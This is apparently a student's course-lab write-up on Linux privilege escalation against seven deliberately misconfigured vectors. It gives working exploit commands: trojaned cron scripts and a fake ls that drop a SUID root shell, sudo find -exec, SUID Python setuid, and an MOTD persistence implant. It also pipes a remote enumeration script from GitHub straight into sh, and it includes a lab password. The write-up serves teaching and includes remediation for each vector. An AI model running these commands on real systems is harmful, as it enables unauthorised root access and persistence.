Week 7 Lab - wetzel7/SEC-335 GitHub Wiki
SEC-335 Linux Privilege Escalation Lab
Phase 0: Foothold and Enumeration
A threat actor starts with an unprivileged shell (for example after phishing or credential theft). The first step is enumeration: mapping what is misconfigured, unusual, or writable.
Connect and confirm identity
ssh -p 10001 [email protected]
id; sudo -l
ssh -p 10001 [email protected]opens a remote shell;-pselects the per-container port (ws-01 = 10001, ws-02 = 10002, and so on). Password:ChamplainPickles1.idshows uid, gid and groups. Expectuid=1001(bthomas)andgroups=...,1002(lab). Not root, not insudo.;runs the next command afterward.sudo -llists what you may run as root without executing anything. (V2 shows up here.)
Automated discovery: linpeas.sh
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# offline alternative: scp linpeas.sh to the container, then:
bash linpeas.sh
curldownloads a URL;-ssilences progress output;-Lfollows redirects.|pipes the downloaded script straight intosh, which executes it.- linpeas color-codes findings by likelihood of leading to root. Red/yellow items map to this lab's vectors.
This video was recorded of the execution, and was my reference instead of scrolling through the terminal window to see what was what
| linpeas section | Lab vector it reveals |
|---|---|
| SUID binaries | V7 (/opt/lab/bin/python3 stands out from stock /usr/bin/*) |
sudo (sudo -l output) |
V2 (NOPASSWD: /usr/bin/find /opt/lab/tools/*) |
| Cron jobs and writable cron files | V1, V3, V4 (/etc/cron.d/lab-*, world-writable scripts, missing agent binary) |
| Writable PATH dirs / PATH abuse | V5 (/etc/profile.d/lab-path.sh adds /opt/lab/bin) |
| World-writable directories | V1, V4, V5, V6 |
Manual enumeration
id; sudo -l # who am I, what can I run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries -> V7
ls -la /etc/cron.d/ /etc/crontab # root-scheduled jobs -> V1, V3, V4
grep -R "" /etc/cron.d/ 2>/dev/null # which scripts root runs
find /opt /usr/local /etc -writable -type d 2>/dev/null # writable dirs -> V1, V4, V5, V6
find /opt /etc -writable -type f 2>/dev/null # writable root-owned files -> V3
cat /etc/profile.d/*.sh # PATH manipulation -> V5
| Command | What it does |
|---|---|
find / -perm -4000 -type f |
Searches the whole filesystem for regular files with the SUID bit (-perm -4000). Expect stock sudo, su, mount, plus the anomaly /opt/lab/bin/python3. |
2>/dev/null |
Redirects the error stream (2) to the discard device so "Permission denied" noise is hidden. |
ls -la /etc/cron.d/ /etc/crontab |
Long listing (-l) including hidden files (-a) of the scheduler's job files. Look for lab-*. |
grep -R "" /etc/cron.d/ |
-R recurses; the empty pattern matches every line, so it prints every job line. |
find ... -writable -type d |
Directories (-type d) that your account may write to. |
find ... -writable -type f |
Regular files you may rewrite. A root-run file you can rewrite is V3. |
cat /etc/profile.d/*.sh |
Prints login-time scripts; the *.sh glob expands to every .sh file. V5 hides here. |
The seven vectors identified
| # | Vector | Where it was found | Evidence |
|---|---|---|---|
| V1 | Writable directory + root cron | /etc/cron.d/lab-backup, /opt/lab/bin |
/opt/lab/bin is drwxrwxrwx; root runs backup.sh every 5 min |
| V2 | sudo NOPASSWD wildcard (find) | sudo -l, /etc/sudoers.d/lab-find |
(ALL) NOPASSWD: /usr/bin/find /opt/lab/tools/* |
| V3 | World-writable root cron script | /etc/cron.d/lab-rotate |
/opt/lab/scripts/rotate.sh is -rwxrwxrwx |
| V4 | Missing binary on writable path | /etc/cron.d/lab-agent |
/opt/lab/bin/agent does not exist; directory is 0777 |
| V5 | Root PATH hijack | /etc/profile.d/lab-path.sh |
export PATH="/opt/lab/bin:$PATH" |
| V6 | World-writable MOTD directory | /etc/update-motd.d/ |
Directory is drwxrwxrwx; scripts run as root at login |
| V7 | SUID Python | find / -perm -4000 |
/opt/lab/bin/python3 is -rwsr-xr-x root root |
V1: Writable Directory + Root Cron
Misconfiguration: /opt/lab/bin is mode 0777, and root runs /opt/lab/bin/backup.sh every 5 minutes via /etc/cron.d/lab-backup.
Weakness exploited: The cron schedule and owner are safe, but the contents of the script are not. Because the script and its directory are world-writable, an ordinary user can change what root executes on the next run.
Discovery
cat /etc/cron.d/lab-backup
ls -la /opt/lab/bin/
- The cron line
*/5 * * * * root /opt/lab/bin/backup.shmeans: every 5 minutes, as root, run that script. drwxrwxrwxon/opt/lab/binand-rwxrwxrwxonbackup.shmean anyone may modify the script.
Exploitation
cat > /opt/lab/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
cat > file <<'EOF'is a heredoc: it overwrites the file with the lines that follow untilEOF. Quoting'EOF'stops$expansion.#!/bin/bashis the shebang that selects the interpreter.cp /bin/bash /tmp/rootshellcopies the system shell.&&runs the next command only if the copy succeeded.chmod u+s /tmp/rootshellsets the SUID bit. Since cron runs this as root, the copy is root-owned and SUID. Wait up to 5 minutes for the*/5schedule.
/tmp/rootshell -p
id
-pmakes bash keep its privileged effective UID instead of dropping to your real user.idshould printuid=0(root).
ss -plunt with the last line showing you are root and your hostname visible. Run it from the root shell:
ss -plunt
Proof
Remediation
Scripts run by root should be owned by root and mode 0755. Script directories must be root-writable only (0755, root:root). World-writable directories must never sit next to anything root executes.
V2: sudo NOPASSWD Wildcard (find)
Misconfiguration: /etc/sudoers.d/lab-find contains:
%lab ALL=(ALL) NOPASSWD: /usr/bin/find /opt/lab/tools/*
Reading it: %lab = group lab; ALL = any host; (ALL) = as any user; NOPASSWD = no password; the rest is the supposedly allowed command.
Weakness exploited: The * wildcard matches any arguments, and find has -exec, which runs arbitrary programs. A "narrow" rule therefore grants a full root shell (documented on GTFOBins).
Discovery
sudo -l
sudo -l lists your sudo rights without running anything.
Exploitation
sudo find /opt/lab/tools/ -exec /bin/bash -p \;
id
sudo find ...runsfindas root, which the rule allows.-exec /bin/bash -p \;runs bash for each result;-ppreserves the root effective UID.\;ends the-execcommand; the backslash stops your own shell from consuming the semicolon.- No waiting is needed; sudo grants root immediately.
Proof (single screenshot)
Show the find command, the id command, root output, and your hostname.
Remediation
No wildcards in sudoers command lists. Allow exact binaries with fixed arguments, or a reviewed wrapper script. Make sudo -l the first step of any enumeration.
V3: World-Writable Root Cron Script
Misconfiguration: /opt/lab/scripts/rotate.sh is mode 0777 and run by root every 5 minutes via /etc/cron.d/lab-rotate.
Weakness exploited: The contents of a root-executed file matter, not just its path. Mode 0777 lets anyone rewrite what root will run. (Lab note from the guide: mode 666 would remove the execute bit and break the benign script, so 777 was required.)
Discovery
ls -la /opt/lab/scripts/rotate.sh
cat /etc/cron.d/lab-rotate
find / -perm -0002 -type f 2>/dev/null | grep -v -E '^/(proc|sys|dev|run|tmp|var/tmp)'
-perm -0002matches files with the "other write" bit set (world-writable).grep -v -E '^/(proc|sys|dev|run|tmp|var/tmp)'hides expected noisy paths (-vinverts the match,-Eenables extended regex,^anchors to line start).
Exploitation
cat > /opt/lab/scripts/rotate.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
Only the contents change, so the file stays executable and no chmod +x is needed. Wait up to 5 minutes.
/tmp/rootshell -p
id
Proof (single screenshot)
One image showing the output of the script you created, /tmp/rootshell -p, id, and your hostname.
Remediation
Root-run scripts must be owned by root and mode 0755. Audit cron-referenced files for their modes regularly; a world-writable file referenced from /etc/cron.d/ is an incident, not a finding.
V4: Missing Binary on a Writable Path
Misconfiguration: /etc/cron.d/lab-agent runs /opt/lab/bin/agent, which does not exist, inside the world-writable /opt/lab/bin.
Weakness exploited: Cron runs whatever is at that path, as root, regardless of who created it. A dangling reference in a location attackers control is an invitation to plant the binary.
Discovery
cat /etc/cron.d/lab-agent
ls -la /opt/lab/bin/agent
ls -ld /opt/lab/bin
ls -la /opt/lab/bin/agentreturningNo such file or directoryis the finding.ls -ldshows the directory's own attributes (-d) rather than its contents;drwxrwxrwxmeans you can create files there.
Exploitation
cat > /opt/lab/bin/agent <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /opt/lab/bin/agent
chmod +x is required because a new file has no execute bit and cron will not run a non-executable file. Wait up to 5 minutes.
/tmp/rootshell -p
id
Proof (single screenshot)
One image showing the output of the agent script you created, /tmp/rootshell -p, id, and your hostname.
Remediation
Every binary referenced by cron must live in a root-only-writable directory. Monitor for schedule entries that reference missing files.
V5: Root PATH Hijack (profile.d)
Misconfiguration: /etc/profile.d/lab-path.sh prepends the world-writable /opt/lab/bin to the login-shell PATH:
export PATH="/opt/lab/bin:$PATH"
Weakness exploited: The shell runs the first match for a bare command name. With a writable directory first in root's PATH, a planted ls runs with root privileges whenever root runs ls in a login shell. You are attacking lookup order, not a program.
Discovery
cat /etc/profile.d/lab-path.sh
echo $PATH
ls -ld /opt/lab/bin
Exploitation
cat > /opt/lab/bin/ls <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
exec /usr/bin/ls "$@"
EOF
chmod +x /opt/lab/bin/ls
exec /usr/bin/ls "$@"replaces the script with the reallsand passes along every argument, so the user notices nothing.chmod +xis needed, otherwise the shell skips the file and finds the reallsfurther down PATH. Trigger: the payload fires the next time root starts a login shell (for examplesu -,bash -l, or a new SSH session as root) and runs a barels.
Trigger method used: bthomas can't log in as root directly, so I simulated the root login from a root shell I already had via V2. From that shell I ran su - (a root login shell, which applies /etc/profile.d/lab-path.sh) and then ls, which ran my planted script as root.
sudo find /opt/lab/tools/ -exec /bin/bash -p \; # root shell via V2
rm -f /tmp/rootshell # clear the old copy so the timestamp proves this trigger
su - # root login shell
ls # planted ls runs as root
exit # repeat until back at bthomas@ws-01
stat /tmp/rootshell # fresh timestamp, root-owned, SUID (mode 4755)
/tmp/rootshell -p
id
stat is used instead of ls -la because the planted ls would run as bthomas and print a cp permission error.
Proof (single screenshot)
One image showing the output of the planted script in /opt/lab/bin/, /tmp/rootshell -p, id, and your hostname.
Remediation
PATH for privileged shells must contain only trusted, root-owned directories. sudo does this via secure_path; /etc/profile.d must be audited the same way. Never put world-writable directories in any PATH root inherits.
V6: World-Writable MOTD Directory
Misconfiguration: /etc/update-motd.d/ is mode 0777.
Weakness exploited: pam_motd rebuilds the login banner at every SSH login by running the scripts in this directory as root. A writable directory lets you add your own script, which then runs as root on every login until removed (so this is also a persistence lesson).
Discovery
ls -ld /etc/update-motd.d/
ls -la /etc/update-motd.d/
Number prefixes (00-, 10-, 90-) set run order; a 99- name runs last.
Exploitation
cat > /etc/update-motd.d/99-lab-pwn <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /etc/update-motd.d/99-lab-pwn
chmod +x is required because pam_motd only runs executable files. Trigger by logging in again over SSH:
ssh -p 10001 [email protected]
ls -la /tmp/rootshell
/tmp/rootshell -p
id
Proof (Single Screenshot)
One image showing the planted script output, the SSH login, ls -la /tmp/rootshell, /tmp/rootshell -p, id, and your hostname.
Persistence and cleanup
The implant survives every login until removed:
rm /etc/update-motd.d/99-lab-pwn
Remediation
/etc/update-motd.d must be root:root 0755. Anything else turns every login into a root execution event for all users.
V7: SUID Python
Misconfiguration: /opt/lab/bin/python3 is a full copy of Python 3.10 with the SUID bit set, owned by root.
Weakness exploited: SUID makes a program run with its owner's privileges. A general-purpose interpreter can open files and run commands, so a SUID Python is effectively a root shell. Legitimate SUID tools like sudo are written to drop privileges; interpreters are not (documented on GTFOBins).
Discovery
find / -perm -4000 -type f 2>/dev/null
ls -la /opt/lab/bin/python3
Stock results are /usr/bin/sudo, /usr/bin/su, /usr/bin/mount. The anomaly is /opt/lab/bin/python3; the s in -rwsr-xr-x is the SUID bit.
Exploitation
/opt/lab/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
-cruns the following text as a Python program.- Single quotes stop your shell from interpreting the Python code.
os.setuid(0)promotes the real UID to 0; this is allowed because the effective UID is already 0 via SUID.os.system("/bin/bash")starts a shell inside that now-root process.
Proof (single screenshot)
One image showing the one-liner, the id output (uid=0), and your hostname.
Remediation
Never set SUID on scripting interpreters; remove it with chmod u-s /opt/lab/bin/python3. Treat any SUID binary outside /usr/bin, /usr/sbin, /bin, /sbin with suspicion.
Summary Table
| # | Vector | Discovery shortcut | Exploit (one line) | Wait | Root achieved |
|---|---|---|---|---|---|
| V1 | Writable dir + root cron | cat /etc/cron.d/lab-backup |
overwrite backup.sh |
up to 5 min | [ x ] |
| V2 | sudo NOPASSWD find | sudo -l |
sudo find ... -exec /bin/bash -p \; |
none | [ x ] |
| V3 | Writable cron script | find / -perm -0002 -type f |
overwrite rotate.sh |
up to 5 min | [ x ] |
| V4 | Missing cron binary | cron references nonexistent file | plant /opt/lab/bin/agent |
up to 5 min | [ x ] |
| V5 | Root PATH hijack | cat /etc/profile.d/lab-path.sh |
plant /opt/lab/bin/ls |
next root login shell | [ x ] |
| V6 | Writable MOTD dir | ls -ld /etc/update-motd.d |
drop 99-lab-pwn |
next SSH login | [ x ] |
| V7 | SUID Python | find / -perm -4000 |
python3 -c 'import os; os.setuid(0); ...' |
none | [ x ] |
Cleanup
The host is shared by 25 students, so leave the lab as vulnerable as you found it.
rm -f /tmp/rootshell /tmp/pwned_*
rm -f /etc/update-motd.d/99-lab-pwn
# only if your instructor asks:
rm -f /opt/lab/bin/agent /opt/lab/bin/ls
# restore backup.sh and rotate.sh to their original contents
References
- GTFOBins, "find": https://gtfobins.github.io/gtfobins/find/
- GTFOBins, "python": https://gtfobins.github.io/gtfobins/python/
- PEASS-ng (linpeas.sh): https://github.com/peass-ng/PEASS-ng
- GNU findutils manual: https://www.gnu.org/software/findutils/manual/html_node/find_html/
- sudoers(5): https://www.sudo.ws/docs/man/sudoers.man/
- crontab(5): https://man7.org/linux/man-pages/man5/crontab.5.html
- pam_motd(8): https://man7.org/linux/man-pages/man8/pam_motd.8.html